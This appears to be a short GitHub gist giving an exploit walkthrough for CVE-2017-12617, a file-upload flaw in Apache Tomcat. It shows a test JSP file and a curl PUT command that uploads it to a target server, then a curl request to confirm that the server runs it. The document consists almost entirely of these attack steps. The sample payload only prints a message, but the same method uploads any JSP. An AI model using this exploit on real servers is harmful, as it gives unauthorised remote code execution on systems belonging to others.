P3t3rp4rk3r/CVE-2017-12617.md

## CVE-2017-12617.md

      
    Raw
  

              CVE-2017-12617.md
            
          
    Exploit using 'curl':

Create a .jsp file (e.g. test.jsp):
<% out.write("<html><body><h3>[+] JSP file successfully uploaded via curl and JSP out.write  executed.</h3></body></html>"); %>
Perform the curl command on target server:
curl -X PUT http://target:port/test.jsp/ -d @- < test.jsp
Check if your file is uploaded by browsing to the target address or:
curl http://targe:port/test.jsp